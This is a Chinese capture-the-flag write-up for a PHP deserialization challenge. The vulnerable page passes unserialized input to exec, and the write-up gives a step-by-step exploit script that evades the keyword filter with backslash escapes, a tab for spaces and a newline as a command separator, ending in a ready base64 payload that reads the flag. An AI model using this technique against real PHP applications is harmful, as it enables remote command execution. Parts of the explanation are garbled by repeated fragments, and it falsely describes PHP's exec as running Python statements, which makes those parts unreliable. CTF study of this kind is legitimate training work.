江苏工匠杯的题目
<?php
highlight_file(FILE);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>`
入口__destruct() / __wakeup()
__wakeup()是优先执行的,优先级高于__destruct()
this−>args[this->args[this−>args[k]这个是就是出入args里面的值,$k就是起标记的作用,输出的还是数组的值,不是键值。
看到function __destruct()中,有call_user_func_array这个函数,在function ping中有exec这个函数,所以考虑调用这个函数来得到flag,在反序列化的时候,首先会调用__wakeup()函数,可以看到会把args这个值传到function waf中进行一下过滤,这点暂且记下。
call_user_func_array(array($this, $this->method), $this->args);
call_user_func_array函数
($this, this−>method)作为函数,this->method)作为函数,this−>method)作为函数,this->args作为参数进行调用,这两处的值都是数组的形式传入。我们需要进入到ping这个函数当中,所以要让($this, $this->method)等于ping,然后让 $this->args等于我们要执行的命令。
exec 执行储存在字符串或文件中的 Python 语句,相比于 eval,exec可以执行更复杂的 Python 代码。
exec函数
exec ( string $command [, array &$output [, int &$return_var ]] );
exec有三个参数,第二个和第三个参数不是必需的。
第一个参数是执行的命令,第二个参数存储命令执行的输出,第三个参数返回执行的状态。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a= new ease('ping',array("l\s"));第一步
#$a= new ease('ping',array("cd\x09fl\ag_1\s_here\x0al\s"));第二步
#$a= new ease('ping',array("cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp"));第三步
echo base64_encode(serialize($a))
?>
\x0a是截断符
最终的payload=ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo1MDoiY2QJZmxcYWdfMVxzX2hlcmUKY1xhdAlmbFxhZ184MzFiNjkwMTJjNjdiMzVmLnBcaHAiO319